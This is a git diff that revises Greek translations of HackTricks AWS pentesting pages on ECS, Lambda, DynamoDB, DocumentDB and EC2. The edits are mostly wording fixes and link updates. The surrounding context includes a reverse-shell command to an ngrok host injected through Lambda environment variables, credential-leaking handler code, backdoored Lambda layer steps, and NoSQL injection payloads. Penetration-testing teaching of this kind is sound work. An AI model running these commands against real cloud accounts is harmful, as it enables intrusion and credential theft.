diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index 30cf0f7af..d50819a67 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -12,11 +12,11 @@
### Host IAM Roles
-Στο ECS, ένα **IAM role μπορεί να ανατεθεί στην εργασία** που εκτελείται μέσα στο κοντέινερ. **Εάν** η εργασία εκτελείται μέσα σε μια **EC2** παρουσία, η **EC2 παρουσία** θα έχει **ένα άλλο IAM** role συνδεδεμένο σε αυτήν.\
-Αυτό σημαίνει ότι αν καταφέρετε να **συμβιβάσετε** μια παρουσία ECS, μπορείτε δυνητικά να **αποκτήσετε το IAM role που σχετίζεται με το ECR και με την EC2 παρουσία**. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε αυτές τις διαπιστεύσεις, ελέγξτε:
+Στο ECS, ένα **IAM role μπορεί να ανατεθεί στην εργασία** που εκτελείται μέσα στο κοντέινερ. **Εάν** η εργασία εκτελείται μέσα σε μια **EC2** παρουσία, η **EC2 παρουσία** θα έχει **ένα άλλο IAM** ρόλο συσχετισμένο με αυτήν.\
+Αυτό σημαίνει ότι αν καταφέρετε να **συμβιβάσετε** μια παρουσία ECS, μπορείτε δυνητικά να **αποκτήσετε τον IAM ρόλο που σχετίζεται με το ECR και με την EC2 παρουσία**. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε αυτά τα διαπιστευτήρια, ελέγξτε:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
@@ -24,11 +24,11 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Privesc to node to steal other containers creds & secrets
-Αλλά επιπλέον, η EC2 χρησιμοποιεί το docker για να εκτελεί τις εργασίες ECs, οπότε αν μπορείτε να διαφύγετε στον κόμβο ή **να αποκτήσετε πρόσβαση στο docker socket**, μπορείτε να **ελέγξετε** ποιες **άλλες κοντέινερ** εκτελούνται, και ακόμη και **να μπείτε μέσα τους** και **να κλέψετε τα IAM roles** που είναι συνδεδεμένα.
+Αλλά επιπλέον, η EC2 χρησιμοποιεί το docker για να εκτελεί τις εργασίες ECs, οπότε αν μπορείτε να διαφύγετε στον κόμβο ή **να αποκτήσετε πρόσβαση στο docker socket**, μπορείτε να **ελέγξετε** ποιες **άλλες κοντέινερ** εκτελούνται, και ακόμη και **να μπείτε μέσα τους** και **να κλέψετε τους IAM ρόλους** που είναι συσχετισμένοι.
#### Making containers run in current host
-Επιπλέον, το **IAM role της EC2 παρουσίας** θα έχει συνήθως αρκετές **άδειες** για να **ενημερώσει την κατάσταση της παρουσίας κοντέινερ** των EC2 παρουσιών που χρησιμοποιούνται ως κόμβοι μέσα στο cluster. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει την **κατάσταση μιας παρουσίας σε DRAINING**, τότε το ECS θα **αφαιρέσει όλες τις εργασίες από αυτήν** και αυτές που εκτελούνται ως **REPLICA** θα εκτελούνται **σε μια διαφορετική παρουσία,** δυνητικά μέσα στην **παρουσία του επιτιθέμενου** ώστε να μπορεί να **κλέψει τα IAM roles τους** και πιθανές ευαίσθητες πληροφορίες από μέσα στο κοντέινερ.
+Επιπλέον, ο **ρόλος της EC2 παρουσίας** θα έχει συνήθως αρκετές **άδειες** για να **ενημερώσει την κατάσταση της παρουσίας κοντέινερ** των EC2 παρουσιών που χρησιμοποιούνται ως κόμβοι μέσα στο cluster. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει την **κατάσταση μιας παρουσίας σε DRAINING**, τότε το ECS θα **αφαιρέσει όλες τις εργασίες από αυτήν** και αυτές που εκτελούνται ως **REPLICA** θα εκτελούνται **σε μια διαφορετική παρουσία,** δυνητικά μέσα στην **παρουσία του επιτιθέμενου** ώστε να μπορεί να **κλέψει τους IAM ρόλους τους** και πιθανές ευαίσθητες πληροφορίες από μέσα στο κοντέινερ.
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
```
### Κλοπή ευαίσθητων πληροφοριών από κοντέινερ ECR
-Η EC2 instance θα έχει πιθανώς επίσης την άδεια `ecr:GetAuthorizationToken` επιτρέποντάς της να **κατεβάσει εικόνες** (μπορείτε να αναζητήσετε ευαίσθητες πληροφορίες σε αυτές).
+Η EC2 instance θα έχει πιθανώς επίσης την άδεια `ecr:GetAuthorizationToken` επιτρέποντάς της να **κατεβάσει εικόνες** (μπορείτε να αναζητήσετε ευαίσθητες πληροφορίες σε αυτές).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index baa8c0d30..6026107d4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -14,7 +14,7 @@
Χρήστες με τα δικαιώματα **`iam:PassRole`, `lambda:CreateFunction`, και `lambda:InvokeFunction`** μπορούν να αναβαθμίσουν τα προνόμιά τους.\
Μπορούν να **δημιουργήσουν μια νέα Lambda function και να της αναθέσουν έναν υπάρχοντα IAM ρόλο**, παρέχοντας στη function τα δικαιώματα που σχετίζονται με αυτόν τον ρόλο. Ο χρήστης μπορεί στη συνέχεια να **γράψει και να ανεβάσει κώδικα σε αυτή τη Lambda function (με ένα rev shell για παράδειγμα)**.\
-Αφού ρυθμιστεί η function, ο χρήστης μπορεί να **προκαλέσει την εκτέλεσή της** και τις προγραμματισμένες ενέργειες καλώντας τη Lambda function μέσω του AWS API. Αυτή η προσέγγιση επιτρέπει αποτελεσματικά στον χρήστη να εκτελεί εργασίες έμμεσα μέσω της Lambda function, λειτουργώντας με το επίπεδο πρόσβασης που παρέχεται από τον IAM ρόλο που σχετίζεται με αυτήν.\\
+Αφού ρυθμιστεί η function, ο χρήστης μπορεί να **προκαλέσει την εκτέλεσή της** και τις προγραμματισμένες ενέργειες καλώντας τη Lambda function μέσω του AWS API. Αυτή η προσέγγιση επιτρέπει στον χρήστη να εκτελεί εργασίες έμμεσα μέσω της Lambda function, λειτουργώντας με το επίπεδο πρόσβασης που παρέχεται από τον IAM ρόλο που σχετίζεται με αυτήν.\\
Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να αποκτήσει ένα **rev shell και να κλέψει το token**:
```python:rev.py
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
-Είναι επίσης δυνατό να διαρρεύσουν τα διαπιστευτήρια ρόλου της lambda χωρίς να χρειάζεται εξωτερική σύνδεση. Αυτό θα ήταν χρήσιμο για **Network isolated Lambdas** που χρησιμοποιούνται σε εσωτερικές εργασίες. Εάν υπάρχουν άγνωστες ομάδες ασφαλείας που φιλτράρουν τα αντίστροφα κέλυφά σας, αυτό το κομμάτι κώδικα θα σας επιτρέψει να διαρρεύσετε απευθείας τα διαπιστευτήρια ως έξοδο της lambda.
+Είναι επίσης δυνατό να διαρρεύσουν τα διαπιστευτήρια ρόλου της lambda χωρίς να χρειάζεται εξωτερική σύνδεση. Αυτό θα ήταν χρήσιμο για **Network isolated Lambdas** που χρησιμοποιούνται σε εσωτερικές εργασίες. Εάν υπάρχουν άγνωστες ομάδες ασφαλείας που φιλτράρουν τα reverse shells σας, αυτό το κομμάτι κώδικα θα σας επιτρέψει να διαρρεύσετε απευθείας τα διαπιστευτήρια ως έξοδο της lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -89,17 +89,17 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
-Χρήστες με **`iam:PassRole`, `lambda:CreateFunction`, και `lambda:CreateEventSourceMapping`** δικαιώματα (και πιθανώς `dynamodb:PutItem` και `dynamodb:CreateTable`) μπορούν έμμεσα να **κλιμακώσουν τα δικαιώματα** ακόμη και χωρίς `lambda:InvokeFunction`.\
+Χρήστες με **`iam:PassRole`, `lambda:CreateFunction`, και `lambda:CreateEventSourceMapping`** δικαιώματα (και πιθανώς `dynamodb:PutItem` και `dynamodb:CreateTable`) μπορούν έμμεσα να **αναβαθμίσουν τα δικαιώματα** ακόμη και χωρίς `lambda:InvokeFunction`.\
Μπορούν να δημιουργήσουν μια **λειτουργία Lambda με κακόβουλο κώδικα και να της αναθέσουν έναν υπάρχοντα ρόλο IAM**.
-Αντί να καλέσουν άμεσα τη Lambda, ο χρήστης ρυθμίζει ή χρησιμοποιεί έναν υπάρχοντα πίνακα DynamoDB, συνδέοντάς τον με τη Lambda μέσω ενός χάρτη πηγής γεγονότος. Αυτή η ρύθμιση διασφαλίζει ότι η λειτουργία Lambda **ενεργοποιείται αυτόματα με την είσοδο ενός νέου στοιχείου** στον πίνακα, είτε από τη δράση του χρήστη είτε από μια άλλη διαδικασία, ενεργοποιώντας έτσι έμμεσα τη λειτουργία Lambda και εκτελώντας τον κώδικα με τα δικαιώματα του περασμένου ρόλου IAM.
+Αντί να καλέσουν άμεσα τη Lambda, ο χρήστης ρυθμίζει ή χρησιμοποιεί έναν υπάρχοντα πίνακα DynamoDB, συνδέοντάς τον με τη Lambda μέσω ενός χάρτη πηγής γεγονότος. Αυτή η ρύθμιση διασφαλίζει ότι η λειτουργία Lambda **ενεργοποιείται αυτόματα με την είσοδο ενός νέου στοιχείου** στον πίνακα, είτε από την ενέργεια του χρήστη είτε από μια άλλη διαδικασία, ενεργοποιώντας έτσι έμμεσα τη λειτουργία Lambda και εκτελώντας τον κώδικα με τα δικαιώματα του περασμένου ρόλου IAM.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
-Αν το DynamoDB είναι ήδη ενεργό στο περιβάλλον AWS, ο χρήστης μόνο **χρειάζεται να καθορίσει την πηγή γεγονότων** για τη λειτουργία Lambda. Ωστόσο, αν το DynamoDB δεν χρησιμοποιείται, ο χρήστης πρέπει **να δημιουργήσει έναν νέο πίνακα** με ενεργοποιημένο το streaming:
+Αν το DynamoDB είναι ήδη ενεργό στο περιβάλλον AWS, ο χρήστης μόνο **χρειάζεται να καθορίσει την αντιστοίχιση πηγής γεγονότων** για τη λειτουργία Lambda. Ωστόσο, αν το DynamoDB δεν χρησιμοποιείται, ο χρήστης πρέπει **να δημιουργήσει έναν νέο πίνακα** με ενεργοποιημένο το streaming:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -157,25 +157,25 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
-**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων στην υπηρεσία lambda.
+**Πιθανές Επιπτώσεις:** Άμεσο privesc στον ρόλο υπηρεσίας lambda που χρησιμοποιείται.
### `lambda:UpdateFunctionConfiguration`
#### RCE μέσω μεταβλητών περιβάλλοντος
-Με αυτές τις άδειες είναι δυνατόν να προστεθούν μεταβλητές περιβάλλοντος που θα προκαλέσουν την εκτέλεση αυθαίρετου κώδικα από το Lambda. Για παράδειγμα, στην python είναι δυνατόν να εκμεταλλευτεί κανείς τις μεταβλητές περιβάλλοντος `PYTHONWARNING` και `BROWSER` για να κάνει μια διαδικασία python να εκτελεί αυθαίρετες εντολές:
+Με αυτές τις άδειες είναι δυνατόν να προστεθούν μεταβλητές περιβάλλοντος που θα προκαλέσουν την εκτέλεση αυθαίρετου κώδικα από το Lambda. Για παράδειγμα, στην python είναι δυνατόν να καταχραστούμε τις μεταβλητές περιβάλλοντος `PYTHONWARNING` και `BROWSER` για να κάνουμε μια διαδικασία python να εκτελεί αυθαίρετες εντολές:
```bash
aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
-Για άλλες γλώσσες scripting υπάρχουν άλλες μεταβλητές περιβάλλοντος που μπορείτε να χρησιμοποιήσετε. Για περισσότερες πληροφορίες, ελέγξτε τις υποενότητες των γλωσσών scripting στο:
+Για άλλες γλώσσες scripting υπάρχουν άλλες μεταβλητές περιβάλλοντος που μπορείτε να χρησιμοποιήσετε. Για περισσότερες πληροφορίες ελέγξτε τις υποενότητες των γλωσσών scripting στο:
{{#ref}}
-https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
+https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### RCE μέσω Lambda Layers
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) επιτρέπει την συμπερίληψη **κώδικα** στη λειτουργία σας lamdba αλλά **αποθηκεύοντάς τον ξεχωριστά**, έτσι ώστε ο κώδικας της λειτουργίας να παραμένει μικρός και **πολλές λειτουργίες να μπορούν να μοιράζονται κώδικα**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) επιτρέπει να συμπεριλάβετε **κώδικα** στη λειτουργία σας lamdba αλλά **να τον αποθηκεύσετε ξεχωριστά**, έτσι ώστε ο κώδικας της λειτουργίας να παραμένει μικρός και **πολλές λειτουργίες να μπορούν να μοιράζονται κώδικα**.
Μέσα στη lambda μπορείτε να ελέγξετε τις διαδρομές από όπου φορτώνεται ο κώδικας python με μια συνάρτηση όπως η εξής:
```python
@@ -202,16 +202,16 @@ print(json.dumps(sys.path, indent=2))
#### Εκμετάλλευση
-Είναι δυνατόν να καταχραστεί η άδεια `lambda:UpdateFunctionConfiguration` για να **προσθέσετε μια νέα στρώση** σε μια συνάρτηση lambda. Για να εκτελέσετε αυθαίρετο κώδικα, αυτή η στρώση πρέπει να περιέχει κάποια **βιβλιοθήκη που η lambda πρόκειται να εισάγει.** Εάν μπορείτε να διαβάσετε τον κώδικα της lambda, θα μπορούσατε να το βρείτε εύκολα, σημειώστε επίσης ότι μπορεί να είναι δυνατόν η lambda να **χρησιμοποιεί ήδη μια στρώση** και θα μπορούσατε να **κατεβάσετε** τη στρώση και να **προσθέσετε τον κώδικά σας** εκεί.
+Είναι δυνατόν να καταχραστεί η άδεια `lambda:UpdateFunctionConfiguration` για να **προσθέσετε μια νέα στρώση** σε μια συνάρτηση lambda. Για να εκτελέσετε αυθαίρετο κώδικα, αυτή η στρώση πρέπει να περιέχει κάποια **βιβλιοθήκη που η lambda πρόκειται να εισάγει.** Αν μπορείτε να διαβάσετε τον κώδικα της lambda, θα μπορούσατε να το βρείτε εύκολα, σημειώστε επίσης ότι μπορεί να είναι δυνατόν η lambda να **χρησιμοποιεί ήδη μια στρώση** και θα μπορούσατε να **κατεβάσετε** τη στρώση και να **προσθέσετε τον κώδικά σας** εκεί.
Για παράδειγμα, ας υποθέσουμε ότι η lambda χρησιμοποιεί τη βιβλιοθήκη boto3, αυτό θα δημιουργήσει μια τοπική στρώση με την τελευταία έκδοση της βιβλιοθήκης:
```bash
pip3 install -t ./lambda_layer boto3
```
-Μπορείτε να ανοίξετε `./lambda_layer/boto3/__init__.py` και **να προσθέσετε την πίσω πόρτα στον παγκόσμιο κώδικα** (μια συνάρτηση για να εξάγετε διαπιστευτήρια ή να αποκτήσετε μια αντίστροφη σύνδεση για παράδειγμα).
+Μπορείτε να ανοίξετε `./lambda_layer/boto3/__init__.py` και **να προσθέσετε την πίσω πόρτα στον παγκόσμιο κώδικα** (μια συνάρτηση για να εξάγετε διαπιστευτήρια ή να αποκτήσετε ένα reverse shell για παράδειγμα).
-Στη συνέχεια, συμπιέστε αυτόν τον φάκελο `./lambda_layer` και **ανεβάστε τη νέα λωρίδα lambda** στον δικό σας λογαριασμό (ή στον λογαριασμό των θυμάτων, αλλά μπορεί να μην έχετε άδειες για αυτό).\
-Σημειώστε ότι πρέπει να δημιουργήσετε έναν φάκελο python και να βάλετε τις βιβλιοθήκες εκεί για να αντικαταστήσετε το /opt/python/boto3. Επίσης, η λωρίδα πρέπει να είναι **συμβατή με την έκδοση python** που χρησιμοποιείται από τη lambda και αν την ανεβάσετε στον λογαριασμό σας, πρέπει να είναι στην **ίδια περιοχή:**
+Στη συνέχεια, συμπιέστε αυτόν τον φάκελο `./lambda_layer` και **ανεβάστε τη νέα lambda layer** στον δικό σας λογαριασμό (ή στον λογαριασμό των θυμάτων, αλλά μπορεί να μην έχετε άδειες για αυτό).\
+Σημειώστε ότι πρέπει να δημιουργήσετε έναν φάκελο python και να βάλετε τις βιβλιοθήκες εκεί για να αντικαταστήσετε το /opt/python/boto3. Επίσης, η layer πρέπει να είναι **συμβατή με την έκδοση python** που χρησιμοποιείται από τη lambda και αν την ανεβάσετε στον λογαριασμό σας, πρέπει να είναι στην **ίδια περιοχή:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
@@ -221,7 +221,7 @@ aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
-Και επισυνάψτε το λογισμικό λογισμικού (lambda layer) στη λειτουργία λογισμικού (lambda function) του θύματος:
+Και επισυνάψτε το lambda layer στη λειτουργία lambda του θύματος:
```bash
aws lambda update-function-configuration \
--function-name \
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
index ad4ae7dd1..6637c6645 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
@@ -4,7 +4,7 @@
## DocumentDB
-Το Amazon DocumentDB, που προσφέρει συμβατότητα με το MongoDB, παρουσιάζεται ως μια **γρήγορη, αξιόπιστη και πλήρως διαχειριζόμενη υπηρεσία βάσης δεδομένων**. Σχεδιασμένο για απλότητα στην ανάπτυξη, λειτουργία και κλιμάκωση, επιτρέπει τη **χωρίς προβλήματα μετανάστευση και λειτουργία βάσεων δεδομένων συμβατών με το MongoDB στο cloud**. Οι χρήστες μπορούν να εκμεταλλευτούν αυτή την υπηρεσία για να εκτελέσουν τον υπάρχοντα κωδικό εφαρμογής τους και να χρησιμοποιήσουν γνωστούς οδηγούς και εργαλεία, εξασφαλίζοντας μια ομαλή μετάβαση και λειτουργία παρόμοια με αυτή της εργασίας με το MongoDB.
+Η Amazon DocumentDB, που προσφέρει συμβατότητα με το MongoDB, παρουσιάζεται ως μια **γρήγορη, αξιόπιστη και πλήρως διαχειριζόμενη υπηρεσία βάσης δεδομένων**. Σχεδιασμένη για απλότητα στην ανάπτυξη, λειτουργία και κλιμάκωση, επιτρέπει τη **χωρίς προβλήματα μετανάστευση και λειτουργία βάσεων δεδομένων συμβατών με το MongoDB στο cloud**. Οι χρήστες μπορούν να εκμεταλλευτούν αυτή την υπηρεσία για να εκτελέσουν τον υπάρχοντα κωδικό εφαρμογής τους και να χρησιμοποιήσουν οικείους οδηγούς και εργαλεία, εξασφαλίζοντας μια ομαλή μετάβαση και λειτουργία παρόμοια με αυτή της εργασίας με το MongoDB.
### Enumeration
```bash
@@ -24,7 +24,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
Καθώς το DocumentDB είναι μια βάση δεδομένων συμβατή με το MongoDB, μπορείτε να φανταστείτε ότι είναι επίσης ευάλωτο σε κοινές επιθέσεις NoSQL injection:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/nosql-injection
+https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### DocumentDB
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
index ae2eb85ad..69805ed86 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
@@ -12,7 +12,7 @@
### Encryption
-Από προεπιλογή, η DynamoDB χρησιμοποιεί ένα KMS key που \*\*ανήκει στην Amazon DynamoDB,\*\* ούτε καν το AWS managed key που τουλάχιστον ανήκει στον λογαριασμό σας.
+Από προεπιλογή, η DynamoDB χρησιμοποιεί ένα KMS key που \*\*ανήκει στην Amazon DynamoDB,\*\* όχι καν στο AWS managed key που τουλάχιστον ανήκει στον λογαριασμό σας.
@@ -59,7 +59,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
{{#endref}}
-### Privilege Escalation
+### Privesc
{{#ref}}
../aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -84,7 +84,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
Υπάρχουν τρόποι πρόσβασης στα δεδομένα του DynamoDB με **SQL σύνταξη**, επομένως, είναι επίσης δυνατές οι τυπικές **SQL εισαγωγές**.
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/sql-injection
+https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
### NoSQL Εισαγωγή
@@ -105,7 +105,7 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection
"GT": " " #All strings are greater than a space
```
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/nosql-injection
+https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### Raw Json injection
@@ -152,7 +152,7 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
```java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
```
-Πρέπει να γνωρίζετε ότι η αναζήτηση στο DynamoDB για **υποκατάσταση** μιας **τιμής** χαρακτηριστικού σε **εκφράσεις φίλτρου** κατά την σάρωση των στοιχείων, οι τόκενς θα πρέπει να **ξεκινούν** με τον χαρακτήρα **`:`**. Τέτοιοι τόκενς θα **αντικατασταθούν** με την πραγματική **τιμή χαρακτηριστικού κατά την εκτέλεση**.
+Πρέπει να γνωρίζετε ότι η αναζήτηση στο DynamoDB για **υποκατάσταση** μιας **τιμής** χαρακτηριστικού σε **εκφράσεις φίλτρου** κατά την σάρωση των στοιχείων, οι τόκεν θα πρέπει να **ξεκινούν** με τον χαρακτήρα **`:`**. Τέτοιοι τόκεν θα **αντικατασταθούν** με την πραγματική **τιμή χαρακτηριστικού κατά την εκτέλεση**.
Επομένως, μια σύνδεση όπως η προηγούμενη μπορεί να παρακαμφθεί με κάτι σαν:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
index 5ec1016d8..a13989d32 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
@@ -4,7 +4,7 @@
## VPC & Networking
-Μάθετε τι είναι ένα VPC και για τα συστατικά του στο:
+Μάθετε τι είναι ένα VPC και για τα συστατικά του σε:
{{#ref}}
aws-vpc-and-networking-basic-information.md
@@ -14,12 +14,12 @@ aws-vpc-and-networking-basic-information.md
Το Amazon EC2 χρησιμοποιείται για την εκκίνηση **εικονικών διακομιστών**. Επιτρέπει τη διαμόρφωση **ασφάλειας** και **δικτύωσης** και τη διαχείριση **αποθήκευσης**. Η ευελιξία του Amazon EC2 είναι προφανής στην ικανότητά του να κλιμακώνει τους πόρους προς τα πάνω και προς τα κάτω, προσαρμόζοντας αποτελεσματικά τις μεταβαλλόμενες απαιτήσεις ή τις αυξήσεις δημοτικότητας. Αυτή η δυνατότητα μειώνει την ανάγκη για ακριβείς προβλέψεις κυκλοφορίας.
-Ενδιαφέροντα πράγματα για να καταγράψετε στο EC2:
+Ενδιαφέροντα πράγματα για να καταμετρηθούν στο EC2:
- Εικονικές Μηχανές
- Κλειδιά SSH
- Δεδομένα Χρήστη
-- Υπάρχοντα EC2s/AMIs/Στιγμιότυπα
+- Υπάρχοντα EC2/AMIs/Στιγμιότυπα
- Δικτύωση
- Δίκτυα
- Υποδίκτυα
@@ -29,7 +29,7 @@ aws-vpc-and-networking-basic-information.md
### Instance Profiles
-Η χρήση **ρόλων** για την παροχή δικαιωμάτων σε εφαρμογές που εκτελούνται σε **EC2 instances** απαιτεί λίγη επιπλέον διαμόρφωση. Μια εφαρμογή που εκτελείται σε ένα EC2 instance είναι απομονωμένη από το AWS μέσω του εικονικοποιημένου λειτουργικού συστήματος. Εξαιτίας αυτής της επιπλέον απομόνωσης, χρειάζεστε ένα επιπλέον βήμα για να αναθέσετε έναν ρόλο AWS και τα σχετικά δικαιώματα σε ένα EC2 instance και να τα κάνετε διαθέσιμα στις εφαρμογές του.
+Η χρήση **ρόλων** για την παροχή δικαιωμάτων σε εφαρμογές που εκτελούνται σε **EC2 instances** απαιτεί λίγη επιπλέον διαμόρφωση. Μια εφαρμογή που εκτελείται σε ένα EC2 instance είναι απομονωμένη από το AWS μέσω του εικονικοποιημένου λειτουργικού συστήματος. Εξαιτίας αυτής της επιπλέον απομόνωσης, χρειάζεστε ένα επιπλέον βήμα για να αναθέσετε έναν ρόλο AWS και τα σχετικά δικαιώματά του σε ένα EC2 instance και να τα κάνετε διαθέσιμα στις εφαρμογές του.
Αυτό το επιπλέον βήμα είναι η **δημιουργία ενός** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) που συνδέεται με το instance. Το **instance profile περιέχει τον ρόλο και** μπορεί να παρέχει τα προσωρινά διαπιστευτήρια του ρόλου σε μια εφαρμογή που εκτελείται στο instance. Αυτά τα προσωρινά διαπιστευτήρια μπορούν στη συνέχεια να χρησιμοποιηθούν στις κλήσεις API της εφαρμογής για την πρόσβαση σε πόρους και για τον περιορισμό της πρόσβασης μόνο στους πόρους που καθορίζει ο ρόλος. Σημειώστε ότι **μόνο ένας ρόλος μπορεί να ανατεθεί σε ένα EC2 instance** τη φορά, και όλες οι εφαρμογές στο instance μοιράζονται τον ίδιο ρόλο και δικαιώματα.
@@ -38,7 +38,7 @@ aws-vpc-and-networking-basic-information.md
Τα μεταδεδομένα AWS EC2 είναι πληροφορίες σχετικά με ένα Amazon Elastic Compute Cloud (EC2) instance που είναι διαθέσιμες στο instance κατά την εκτέλεση. Αυτά τα μεταδεδομένα χρησιμοποιούνται για την παροχή πληροφοριών σχετικά με το instance, όπως το ID του instance, η ζώνη διαθεσιμότητας στην οποία εκτελείται, ο ρόλος IAM που σχετίζεται με το instance και το όνομα του host του instance.
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Enumeration
@@ -135,7 +135,7 @@ aws ec2 describe-vpc-peering-connections
### Privesc
-Στην παρακάτω σελίδα μπορείτε να δείτε πώς να **καταχραστείτε τις άδειες EC2 για να κερδίσετε προνόμια**:
+Στην παρακάτω σελίδα μπορείτε να δείτε πώς να **καταχραστείτε τις άδειες EC2 για να κλιμακώσετε τα προνόμια**:
{{#ref}}
../../aws-privilege-escalation/aws-ec2-privesc.md
@@ -149,17 +149,17 @@ aws ec2 describe-vpc-peering-connections
## EBS
-Το Amazon **EBS** (Elastic Block Store) **snapshots** είναι βασικά στατικά **αντίγραφα ασφαλείας** των όγκων AWS EBS. Με άλλα λόγια, είναι **αντίγραφα** των **δίσκων** που είναι συνδεδεμένοι σε μια **EC2** Εγκατάσταση σε μια συγκεκριμένη χρονική στιγμή. Τα EBS snapshots μπορούν να αντιγραφούν σε περιοχές και λογαριασμούς, ή ακόμα και να κατεβούν και να εκτελούνται τοπικά.
+Η **EBS** (Elastic Block Store) της Amazon **snapshots** είναι βασικά στατικές **αντίγραφα ασφαλείας** των όγκων EBS της AWS. Με άλλα λόγια, είναι **αντίγραφα** των **δίσκων** που είναι συνδεδεμένοι σε μια **EC2** Instance σε μια συγκεκριμένη χρονική στιγμή. Τα EBS snapshots μπορούν να αντιγραφούν σε περιοχές και λογαριασμούς, ή ακόμα και να κατεβούν και να εκτελούνται τοπικά.
Τα snapshots μπορεί να περιέχουν **ευαίσθητες πληροφορίες** όπως **κώδικα πηγής ή κλειδιά API**, επομένως, αν έχετε την ευκαιρία, συνιστάται να το ελέγξετε.
### Διαφορά AMI & EBS
